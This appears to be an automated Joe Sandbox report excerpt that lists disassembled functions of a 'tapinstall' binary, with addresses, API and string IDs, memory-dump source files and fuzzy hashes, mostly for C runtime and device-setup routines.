                                                                                                                      Function 00007FF76A6E43FC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 195COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CallEncodePointerTranslator
                                                                                                                      • String ID: MOC$RCC
                                                                                                                      • API String ID: 3544855599-2084237596
                                                                                                                      • Opcode ID: f803d8c648c2122474ce86b0b39a3cc156ebe4fa619f756f266b7816edd56d32
                                                                                                                      • Instruction ID: 08c3ee99f1bc25891cbc302db61362aed6d0fc2788c60db0b7a871fad77e65ef
                                                                                                                      • Opcode Fuzzy Hash: f803d8c648c2122474ce86b0b39a3cc156ebe4fa619f756f266b7816edd56d32
                                                                                                                      • Instruction Fuzzy Hash: 4091D173A08782CAF711EB75E8442ADB7A1FB14B88F504129EE4D07754DF79E151CB10
                                                                                                                      Function 00007FF76A6F0EDC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: $*
                                                                                                                      • API String ID: 3215553584-3982473090
                                                                                                                      • Opcode ID: ebf6addb0422a3df8c88c69004cf465780081765257e989b9b1ed44549212502
                                                                                                                      • Instruction ID: 14b1752dcb75476b31fcc392ad26d9d71845f2f30e6dece3c41343dedbcd191c
                                                                                                                      • Opcode Fuzzy Hash: ebf6addb0422a3df8c88c69004cf465780081765257e989b9b1ed44549212502
                                                                                                                      • Instruction Fuzzy Hash: 608160B2908243C6FB64FF298455078B6A3EB05F88F9C41BACB4946299DF39E581C735
                                                                                                                      Function 00007FF76A6F0734 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: $*
                                                                                                                      • API String ID: 3215553584-3982473090
                                                                                                                      • Opcode ID: e60271a038c53331095bc1501989483a53fb311e552cdae94f782dd2e6294a65
                                                                                                                      • Instruction ID: 6652e1a398959f9489fb0f4544304e8e83a0c1c584562cb553ea319a24e396b9
                                                                                                                      • Opcode Fuzzy Hash: e60271a038c53331095bc1501989483a53fb311e552cdae94f782dd2e6294a65
                                                                                                                      • Instruction Fuzzy Hash: E9816F7280C243C5FB64AF298054179F7A3EB05F48FDD61BACA8946285FE39E881C775
                                                                                                                      Function 00007FF76A6EF940 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: $*
                                                                                                                      • API String ID: 3215553584-3982473090
                                                                                                                      • Opcode ID: 696b434c9b65d82e3cb3a69da655823cedb2bb2a6dca5773e12b0c135f28c375
                                                                                                                      • Instruction ID: c15cb29eb6e4b076423e0c4924102b68a26aaf59e48a3387a342c1442060cc7b
                                                                                                                      • Opcode Fuzzy Hash: 696b434c9b65d82e3cb3a69da655823cedb2bb2a6dca5773e12b0c135f28c375
                                                                                                                      • Instruction Fuzzy Hash: 048164B290C242C7FB64AF29A054178BBA2FF25F48F9441B5CA89462D9CF3EE445C725
                                                                                                                      Function 00007FF76A6F0018 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 187COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: $*
                                                                                                                      • API String ID: 3215553584-3982473090
                                                                                                                      • Opcode ID: 4b0bb82413f354565f6b76abb1ea6af1657192eeb5dcd769b60e7d6808cf1343
                                                                                                                      • Instruction ID: 199e0820b5e82fe7773ebe2cfe9a24099c6ef1261c6087506e5819a7830a096f
                                                                                                                      • Opcode Fuzzy Hash: 4b0bb82413f354565f6b76abb1ea6af1657192eeb5dcd769b60e7d6808cf1343
                                                                                                                      • Instruction Fuzzy Hash: 3081A37280C243C6FB64EF69904417CBBA3EB46F48F9D01B6CA4946289EF39E485C734
                                                                                                                      Function 00007FF76A70C164 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 180COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: -$e+000$gfff
                                                                                                                      • API String ID: 3215553584-2620144452
                                                                                                                      • Opcode ID: 0074e114a49e6fc809f4dcc0a04a1e80794e2a9b4d8ec782b6f912fc4b48aee0
                                                                                                                      • Instruction ID: cc981cd05aa259f5eb5411992793a476565b5cbc5ee3b6bd5e8a45cf78c65853
                                                                                                                      • Opcode Fuzzy Hash: 0074e114a49e6fc809f4dcc0a04a1e80794e2a9b4d8ec782b6f912fc4b48aee0
                                                                                                                      • Instruction Fuzzy Hash: 6871D6A2B18781C6F7209F25E94036EE791E748B90F889271DB9C47BD9CE6DE444C720
                                                                                                                      Function 00007FF76A6EF718 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: $*
                                                                                                                      • API String ID: 3215553584-3982473090
                                                                                                                      • Opcode ID: 26b87493f0452009ca218a176671395cca8a3695ea8e3c936177f10e7989a2f7
                                                                                                                      • Instruction ID: c56d90cab9a074134b5f8d4b351d69d1768426a7189dcf208b0160a9a5643f86
                                                                                                                      • Opcode Fuzzy Hash: 26b87493f0452009ca218a176671395cca8a3695ea8e3c936177f10e7989a2f7
                                                                                                                      • Instruction Fuzzy Hash: E961857290C282C7F768AF28A45437DB7B2FF25F08F9411BAC64E02199CF3AD945D620
                                                                                                                      Function 00007FF76A6EFBE8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: $*
                                                                                                                      • API String ID: 3215553584-3982473090
                                                                                                                      • Opcode ID: 48a48ff5bc0ae375988f414688e987a49450b8b663d7d16d07c4109e67f0f616
                                                                                                                      • Instruction ID: b0f06652bf726c5d77db716b8c22d132acb61f1c7f3007f52d3a1b379c94b198
                                                                                                                      • Opcode Fuzzy Hash: 48a48ff5bc0ae375988f414688e987a49450b8b663d7d16d07c4109e67f0f616
                                                                                                                      • Instruction Fuzzy Hash: ED61847290C242C7F764AF34A05437DBBA6FF25F08F9411B6DA4A861D9CF2AD485C621
                                                                                                                      Function 00007FF76A6F02B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: $*
                                                                                                                      • API String ID: 3215553584-3982473090
                                                                                                                      • Opcode ID: f977a82e5c76788af1767a775f5033a8640c51099ef2c99c72258bbf43d06a9c
                                                                                                                      • Instruction ID: 1f3235804da494cb6a65742303b393ec920b57db472b725b7d98d4de14b1b100
                                                                                                                      • Opcode Fuzzy Hash: f977a82e5c76788af1767a775f5033a8640c51099ef2c99c72258bbf43d06a9c
                                                                                                                      • Instruction Fuzzy Hash: 7661617290C643CAF764AF28805437CB7A3FB06F09F9A11B5CA4A422D9EF7CD585C661
                                                                                                                      Function 00007FF76A6E41E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 142COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CallEncodePointerTranslator
                                                                                                                      • String ID: MOC$RCC
                                                                                                                      • API String ID: 3544855599-2084237596
                                                                                                                      • Opcode ID: 1468b56452d10623d81cdb1e1ed026f28ff39d5af83e5faff62cb6f8af0a23b1
                                                                                                                      • Instruction ID: 1ddfd75a2c92e2c21e0de63890a56ad8cdcc0638d79ea111bca97ac36e2e9833
                                                                                                                      • Opcode Fuzzy Hash: 1468b56452d10623d81cdb1e1ed026f28ff39d5af83e5faff62cb6f8af0a23b1
                                                                                                                      • Instruction Fuzzy Hash: BC519832A18B45CAFB10EF66D0843ADB7A1FB58B88F444265EE4D13B58DF7AE045C710
                                                                                                                      Function 00007FF76A6E54F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CreateDestructExceptionFrameInfoObject__except_validate_context_record
                                                                                                                      • String ID: csm
                                                                                                                      • API String ID: 146877497-1018135373
                                                                                                                      • Opcode ID: a3fecbfbc24f64bd75b4b319e201772004d7a2b71ee4399e5099f2da34a284b3
                                                                                                                      • Instruction ID: 7d49b676a4d3a6c587714bb5c6d5a383fefab604d73cfc9f1f99c3e5823ed995
                                                                                                                      • Opcode Fuzzy Hash: a3fecbfbc24f64bd75b4b319e201772004d7a2b71ee4399e5099f2da34a284b3
                                                                                                                      • Instruction Fuzzy Hash: C8516A73A08781C6E660BB15E45026EB7A1FB88B94F400675EB8D07B66DF38E4A0CB10
                                                                                                                      Function 00007FF76A6D4C30 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74registryCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: QueryValue$ErrorLast
                                                                                                                      • String ID: LowerFilters
                                                                                                                      • API String ID: 181557691-1260524392
                                                                                                                      • Opcode ID: 7cfd38d4b9c6a9580be2e36a9189f51fd8cc7de6ed91d8435a286111ac9b45e5
                                                                                                                      • Instruction ID: 3b899acf3458eee15ebefcfa7f725bd1dbb7bed6d186d78a7695fdac4ee331a2
                                                                                                                      • Opcode Fuzzy Hash: 7cfd38d4b9c6a9580be2e36a9189f51fd8cc7de6ed91d8435a286111ac9b45e5
                                                                                                                      • Instruction Fuzzy Hash: B5219322608B45C6FA20BB15E45426EE392EF88BD4F840275EA9C43BD4EF7CE451C710
                                                                                                                      Function 00007FF76A6D56D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: DetailDeviceDevice_Get_InfoListSetup
                                                                                                                      • String ID: %-60s: %s$%s
                                                                                                                      • API String ID: 3680031113-1339393084
                                                                                                                      • Opcode ID: a51e5089ce0a16c6d52d016b188cefe7c1f7e6d2c4a6f8978211d45e4c582602
                                                                                                                      • Instruction ID: c5f883a351b1fbf4d1c0eb6bf658127e3a10de97926888659acf6091b80734fe
                                                                                                                      • Opcode Fuzzy Hash: a51e5089ce0a16c6d52d016b188cefe7c1f7e6d2c4a6f8978211d45e4c582602
                                                                                                                      • Instruction Fuzzy Hash: 49218D62B08A86C1FA21BF15E8503BAA3A1EF88FC4FD44075DA4D47A99EF2CD515C760
                                                                                                                      Function 00007FF76A6D6B80 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: DetailDeviceDevice_Get_InfoListSetup
                                                                                                                      • String ID: %-60s: %s$%s
                                                                                                                      • API String ID: 3680031113-1339393084
                                                                                                                      • Opcode ID: c99e091277bb5b53b775382925c4bb54c33a56cc676f35083c55ea4e68d6ed99
                                                                                                                      • Instruction ID: fd828ffd5f865f78e7a679d80ccb8dc4c8ceda5d9a5a48e4aa61e9273fcce71e
                                                                                                                      • Opcode Fuzzy Hash: c99e091277bb5b53b775382925c4bb54c33a56cc676f35083c55ea4e68d6ed99
                                                                                                                      • Instruction Fuzzy Hash: 5D217C32B18A86C5FA20AF15E4903BAB3A1FF88B84FC44175DA4D47A98EF2CD515D720
                                                                                                                      Function 00007FF76A6E562B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Exception$DestructObject$Raise
                                                                                                                      • String ID: csm
                                                                                                                      • API String ID: 2826525264-1018135373
                                                                                                                      • Opcode ID: c65463ea9101793cc31d4246695a90cc3882a240b8c6c27d7b38a8955c006e5e
                                                                                                                      • Instruction ID: 96074f8f8408061b6339bb1d9b70323b125e6fea8ed0e55c00dcd07775bd65ab
                                                                                                                      • Opcode Fuzzy Hash: c65463ea9101793cc31d4246695a90cc3882a240b8c6c27d7b38a8955c006e5e
                                                                                                                      • Instruction Fuzzy Hash: ED310A76A08242C7F670BF11E05026EB7A2FB94B94F810575DA8A07BA5CF3DE885CB11
                                                                                                                      Function 00007FF76A6E53FA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Exception$DestructObject$Raise
                                                                                                                      • String ID: csm
                                                                                                                      • API String ID: 2826525264-1018135373
                                                                                                                      • Opcode ID: cc8eb6da96c197ed980eb35cf3cd2df0145045b221062dc3d4578f740a01ffa4
                                                                                                                      • Instruction ID: d42d5d657e92dd6bbde103557a09257f02a1d8d39a92b4be96c1c6ab53ddbe02
                                                                                                                      • Opcode Fuzzy Hash: cc8eb6da96c197ed980eb35cf3cd2df0145045b221062dc3d4578f740a01ffa4
                                                                                                                      • Instruction Fuzzy Hash: 1A21FD76608641C6E770EF11E05026EB7A2F798FA5F810261DE9D03B95CF3DE845CB51
                                                                                                                      Function 00007FF76A7094F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A709527
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A70954E
                                                                                                                        • Part of subcall function 00007FF76A7081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A708300
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function$AddressProc
                                                                                                                      • String ID: GetProcessWindowStation$GetUserObjectInformationW
                                                                                                                      • API String ID: 1640347226-2732317663
                                                                                                                      • Opcode ID: 6f5883c30fa4d970a6b2ca5bc24385a593e52fa01d7559c029fb7798c3f6cd56
                                                                                                                      • Instruction ID: 4d6bec5932f4d382f25974f2d366aa2f0f637e60dc4c4135323cbdb633028f03
                                                                                                                      • Opcode Fuzzy Hash: 6f5883c30fa4d970a6b2ca5bc24385a593e52fa01d7559c029fb7798c3f6cd56
                                                                                                                      • Instruction Fuzzy Hash: 77118C62A1C746C1FA40AF25E9412B9A3A4EF8C784FC40076E94E47694EF3CE085C720
                                                                                                                      Function 00007FF76A7090A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
